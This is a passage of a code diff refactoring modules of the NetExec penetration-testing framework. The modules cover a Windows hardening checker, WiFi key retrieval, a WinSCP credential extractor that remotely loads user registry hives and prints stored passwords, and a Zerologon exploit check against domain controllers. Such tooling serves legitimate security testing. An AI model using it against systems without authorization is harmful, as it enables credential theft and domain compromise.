@@ -28,17 +28,6 @@ REG_VALUE_TYPE_32BIT_BE = 5
 REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE = 7
 REG_VALUE_TYPE_64BIT_LE = 11
 
-# Setup file logger
-if "wcc_logger" not in globals():
-    wcc_logger = logging.getLogger("WCC")
-    wcc_logger.propagate = False
-    log_filename = nxc_logger.init_log_file()
-    log_filename = log_filename.replace("log_", "wcc_")
-    wcc_logger.setLevel(logging.INFO)
-    wcc_file_handler = logging.FileHandler(log_filename)
-    wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
-    wcc_logger.addHandler(wcc_file_handler)
-
 
 class ConfigCheck:
     """Class for performing the checks and holding the results"""
@@ -75,7 +64,7 @@ class ConfigCheck:
     def log(self, context):
         result = "passed" if self.ok else "did not pass"
         reasons = ", ".join(self.reasons)
-        wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
+        self.module.wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
         if self.module.quiet:
             return
 
@@ -99,6 +88,19 @@ class NXCModule:
     supported_protocols = ["smb"]
     opsec_safe = True
     multiple_hosts = True
+    
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+        
+        self.wcc_logger = logging.getLogger("WCC")
+        self.wcc_logger.propagate = False
+        log_filename = nxc_logger.init_log_file()
+        log_filename = log_filename.replace("log_", "wcc_")
+        self.wcc_logger.setLevel(logging.INFO)
+        wcc_file_handler = logging.FileHandler(log_filename)
+        wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
+        self.wcc_logger.addHandler(wcc_file_handler)
 
     def options(self, context, module_options):
         """
@@ -156,45 +158,39 @@ class HostChecker:
         self.dce = remoteOps._RemoteOperations__rrp
 
     def run(self):
-        # Prepare checks
         self.init_checks()
-
-        # Perform checks
         self.check_config()
-
-    # Check methods #
-    #################
-
+        
     def init_checks(self):
         # Declare the checks to do and how to do them
         self.checks = [
-            ConfigCheck("Last successful update", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
-            ConfigCheck("LAPS", "Checks if LAPS is installed", checkers=[self.check_laps]),
-            ConfigCheck("Administrator's name", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
+            ConfigCheck("Last successful update age", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
+            ConfigCheck("LAPS installed", "Checks if LAPS is installed", checkers=[self.check_laps]),
+            ConfigCheck("Administrator account renamed", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
             ConfigCheck("UAC configuration", "Checks if UAC configuration is secure", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 1), ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "LocalAccountTokenFilterPolicy", 0)]]),
-            ConfigCheck("Hash storage format", "Checks if storing  hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
-            ConfigCheck("Always install elevated", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
-            ConfigCheck("IPv6 preference", "Checks if IPv6 is preferred over IPv4", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
-            ConfigCheck("Spooler service", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
-            ConfigCheck("WDigest authentication", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
+            ConfigCheck("LM hash storage disabled", "Checks if storing  hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
+            ConfigCheck("Always install elevated disabled", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
+            ConfigCheck("IPv4 preferred over IPv6", "Checks if IPv4 is preferred over IPv6", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
+            ConfigCheck("Spooler service disabled", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
+            ConfigCheck("WDigest authentication disabled", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
             ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
-            ConfigCheck("LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
-            ConfigCheck("AppLocker", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
+            ConfigCheck("Small LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
+            ConfigCheck("AppLocker rules defined", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
             ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]),
-            ConfigCheck("CredentialGuard", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
-            ConfigCheck("PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
-            ConfigCheck("Powershell v2 availability", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
-            ConfigCheck("LmCompatibilityLevel", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
-            ConfigCheck("NBTNS", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
-            ConfigCheck("mDNS", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
-            ConfigCheck("SMB signing", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
-            ConfigCheck("LDAP signing", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
-            ConfigCheck("SMB encryption", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
+            ConfigCheck("CredentialGuard enabled", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
+            ConfigCheck("Lsass run as PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
+            ConfigCheck("No Powershell v2", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
+            ConfigCheck("LmCompatibilityLevel == 5", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
+            ConfigCheck("NBTNS disabled", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
+            ConfigCheck("mDNS disabled", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
+            ConfigCheck("SMB signing enabled", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
+            ConfigCheck("LDAP signing enabled", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
+            ConfigCheck("SMB encryption enabled", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
             ConfigCheck("RDP authentication", "Checks RDP authentication configuration (NLA auth and restricted admin mode)", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA", "RestrictedAdminMode", 1)]]),
             ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
             ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
-            ConfigCheck("Automatic session lock", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
-            ConfigCheck("Powershell Execution Policy", 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
+            ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
+            ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
         ]
 
         # Add check to conf_checks table if missing
@@ -483,9 +479,6 @@ class HostChecker:
 
         return success, reasons
 
-    # Methods for getting values from the remote registry #
-    #######################################################
-
     def _open_root_key(self, dce, connection, root_key):
         ans = None
         retries = 1
@@ -588,19 +581,12 @@ class HostChecker:
         subkey_handle = ans["phkResult"]
 
         if valueName is None:
-            _, _, data = get_value(subkey_handle)
+            return get_value(subkey_handle)[2]
         else:
-            found = False
-            for _, name, _data in subkey_values(subkey_handle):
+            for _, name, data in subkey_values(subkey_handle):
                 if name.upper() == valueName.upper():
-                    found = True
-                    break
-            if not found:
-                return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
-        return data
-
-    # Methods for getting values from SAMR and SCM #
-    ################################################
+                    return data
+            return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
 
     def get_service(self, service_name, connection):
         """Get the service status and configuration for specified service"""
@@ -649,23 +635,15 @@ class HostChecker:
             self.context.log.error(f"ls(): C:\\{path} {e}\n")
         return file_listing
 
-
-# Comparison operators #
-########################
-
-
 def le(reg_sz_string, number):
     return int(reg_sz_string[:-1]) <= number
 
-
 def in_(obj, seq):
     return obj in seq
 
-
 def startswith(string, start):
     return string.startswith(start)
 
-
 def not_(boolean_operator):
     def wrapper(*args, **kwargs):
         return not boolean_operator(*args, **kwargs)

nxc/modules/wifi.py

@@ -51,7 +51,7 @@ class NXCModule:
 
         masterkeys = []
         try:
-            masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
+            masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
             masterkeys += masterkeys_triage.triage_system_masterkeys()
         except Exception as e:
             context.log.debug(f"Could not get masterkeys: {e}")

nxc/modules/winscp.py

@@ -51,25 +51,19 @@ class NXCModule:
             context.log.highlight(f"UserName: {session[2]}")
             context.log.highlight(f"Password: {session[3]}")
 
-    def user_object_to_name_mapper(self, context, connection, allUserObjects):
+    def user_object_to_name_mapper(self, context, connection, all_user_objects):
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
-            ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
+            reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
 
-            for userObject in allUserObjects:
-                ans = rrp.hBaseRegOpenKey(
-                    remote_ops._RemoteOperations__rrp,
-                    reg_handle,
-                    "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
-                )
-                key_handle = ans["phkResult"]
+            for user_object in all_user_objects:
+                key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
 
                 user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
                 rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
-                self.userDict[userObject] = user_profile_path.split("\\")[-1]
+                self.userDict[user_object] = user_profile_path.split("\\")[-1]
         finally:
             remote_ops.finish()
 
@@ -121,22 +115,14 @@ class NXCModule:
         return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
 
     # ==================== Handle Registry ====================
-    def registry_session_extractor(self, context, connection, userObject, sessionName):
+    def registry_session_extractor(self, context, connection, user_object, sessionName):
         """Extract Session information from registry"""
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
-            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
-
-            ans = rrp.hBaseRegOpenKey(
-                remote_ops._RemoteOperations__rrp,
-                reg_handle,
-                userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
-            )
-            key_handle = ans["phkResult"]
-
+            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\{sessionName}")["phkResult"]
             host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
             user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
             try:
@@ -162,18 +148,13 @@ class NXCModule:
         user_objects = []
 
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
             # Enumerate all logged in and loaded Users on System
-            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
-
-            ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
-            key_handle = ans["phkResult"]
-
-            data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
-            users = data["lpcSubKeys"]
+            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
+            users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
 
             # Get User Names
             user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -195,22 +176,13 @@ class NXCModule:
         user_objects = []
 
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
             # Enumerate all Users on System
-            ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
-
-            ans = rrp.hBaseRegOpenKey(
-                remote_ops._RemoteOperations__rrp,
-                reg_handle,
-                "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
-            )
-            key_handle = ans["phkResult"]
-
-            data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
-            users = data["lpcSubKeys"]
+            reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
+            users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
 
             # Get User Names
             user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -222,86 +194,65 @@ class NXCModule:
             remote_ops.finish()
         return user_objects
 
-    def load_missing_users(self, context, connection, unloadedUserObjects):
+    def load_missing_users(self, context, connection, unloaded_user_objects):
         """Extract Information for not logged in Users and then loads them into registry."""
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
-            for userObject in unloadedUserObjects:
+            for user_object in unloaded_user_objects:
                 # Extract profile Path of NTUSER.DAT
-                ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
-                reg_handle = ans["phKey"]
-
-                ans = rrp.hBaseRegOpenKey(
-                    remote_ops._RemoteOperations__rrp,
-                    reg_handle,
-                    "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
-                )
-                key_handle = ans["phkResult"]
-
+                reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
+                key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
                 user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
                 rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
 
                 # Load Profile
-                ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
-                reg_handle = ans["phKey"]
+                reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
+                key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
 
-                ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
-                key_handle = ans["phkResult"]
-
-                context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
-                rrp.hBaseRegLoadKey(
-                    remote_ops._RemoteOperations__rrp,
-                    key_handle,
-                    userObject,
-                    user_profile_path + "\\" + "NTUSER.DAT",
-                )
+                context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
+                rrp.hBaseRegLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
                 rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
         finally:
             remote_ops.finish()
 
-    def unload_missing_users(self, context, connection, unloadedUserObjects):
-        """If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
+    def unload_missing_users(self, context, connection, unloaded_user_objects):
+        """If some user were not logged in at the beginning we unload them from registry."""
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
             # Unload Profile
-            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
+            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
 
-            ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
-            key_handle = ans["phkResult"]
-
-            for userObject in unloadedUserObjects:
-                context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
+            for user_object in unloaded_user_objects:
+                context.log.debug("UNLOAD USER FROM REGISTRY: " + user_object)
                 try:
-                    rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
+                    rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object)
                 except Exception as e:
-                    context.log.fail(f"Error unloading user {userObject} in registry: {e}")
+                    context.log.fail(f"Error unloading user {user_object} in registry: {e}")
                     context.log.debug(traceback.format_exc())
             rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
         finally:
             remote_ops.finish()
 
-    def check_masterpassword_set(self, connection, userObject):
+    def check_masterpassword_set(self, context, connection, user_object):
+        use_master_password = False
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
-            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
-
-            ans = rrp.hBaseRegOpenKey(
-                remote_ops._RemoteOperations__rrp,
-                reg_handle,
-                userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
-            )
-            key_handle = ans["phkResult"]
-
+            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security")["phkResult"]
             use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
             rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
+        except DCERPCException as e:
+            if str(e).find("ERROR_FILE_NOT_FOUND"):
+                context.log.debug("Security configuration registry not found, no master passwords set at all.")
+            else:
+                context.log.exception(e)
         finally:
             remote_ops.finish()
         return use_master_password
@@ -309,7 +260,7 @@ class NXCModule:
     def registry_discover(self, context, connection):
         context.log.display("Looking for WinSCP creds in Registry...")
         try:
-            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
             remote_ops.enableRegistry()
 
             # Enumerate all Users on System
@@ -321,39 +272,29 @@ class NXCModule:
             unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
             self.load_missing_users(context, connection, unloaded_user_objects)
 
-            # Retrieve how many sessions are stored in registry from each UserObject
+            # Retrieve how many sessions are stored in registry from each user_object
             ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
             reg_handle = ans["phKey"]
-            for userObject in all_user_objects:
+            for user_object in all_user_objects:
                 try:
-                    ans = rrp.hBaseRegOpenKey(
-                        remote_ops._RemoteOperations__rrp,
-                        reg_handle,
-                        userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
-                    )
-                    key_handle = ans["phkResult"]
-
-                    data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
-                    sessions = data["lpcSubKeys"]
-                    context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
+                    key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions")["phkResult"]
+                    sessions = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+                    context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[user_object]}" in registry!')
 
                     # Get Session Names
                     session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
                     rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
                     session_names.remove("Default%20Settings")
 
-                    if self.check_masterpassword_set(connection, userObject):
+                    if self.check_masterpassword_set(context, connection, user_object):
                         context.log.fail("MasterPassword set! Aborting extraction...")
                         continue
                     # Extract stored Session infos
                     for sessionName in session_names:
-                        self.print_creds(
-                            context,
-                            self.registry_session_extractor(context, connection, userObject, sessionName),
-                        )
+                        self.print_creds(context, self.registry_session_extractor(context, connection, user_object, sessionName))
                 except DCERPCException as e:
                     if str(e).find("ERROR_FILE_NOT_FOUND"):
-                        context.log.debug(f"No WinSCP config found in registry for user {userObject}")
+                        context.log.debug(f"No WinSCP config found in registry for user {user_object}")
                 except Exception as e:
                     context.log.fail(f"Unexpected error: {e}")
                     context.log.debug(traceback.format_exc())

nxc/modules/zerologon.py

@@ -26,7 +26,7 @@ class NXCModule:
 
     def on_login(self, context, connection):
         self.context = context
-        if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
+        if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
             self.context.log.highlight("VULNERABLE")
             self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
             try:
@@ -43,13 +43,15 @@ class NXCModule:
             except Exception:
                 self.context.log.debug("Error updating zerologon status in database")
 
-    def perform_attack(self, dc_handle, dc_ip, target_computer):
+    def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
         # Keep authenticating until successful. Expected average number of attempts needed: 256.
         self.context.log.debug("Performing authentication attempts...")
         rpc_con = None
         try:
-            binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
-            rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
+            binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
+            rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
+            rpc_con_.setRemoteHost(remoteHost)
+            rpc_con = rpc_con_.get_dce_rpc()
             rpc_con.connect()
             rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
             for _attempt in range(MAX_ATTEMPTS):

nxc/netexec.py

@@ -12,6 +12,7 @@ from nxc.paths import NXC_PATH
 from nxc.console import nxc_console
 from nxc.logger import nxc_logger
 from nxc.config import nxc_config, nxc_workspace, config_log, ignore_opsec
+from nxc.database import create_db_engine
 from concurrent.futures import ThreadPoolExecutor, as_completed
 import asyncio
 from nxc.helpers import powershell
@@ -20,10 +21,10 @@ import os
 from os.path import exists
 from os.path import join as path_join
 from sys import exit
-import logging
-import sqlalchemy
 from rich.progress import Progress
 import platform
+if sys.stdout.encoding == "cp1252":
+    sys.stdout.reconfigure(encoding="utf-8")
 
 # Increase file_limit to prevent error "Too many open files"
 if platform.system() != "Windows":
@@ -38,19 +39,15 @@ if platform.system() != "Windows":
     resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
 
 
-
-def create_db_engine(db_path):
-    return sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
-
-
 async def start_run(protocol_obj, args, db, targets):
+    futures = []
     nxc_logger.debug("Creating ThreadPoolExecutor")
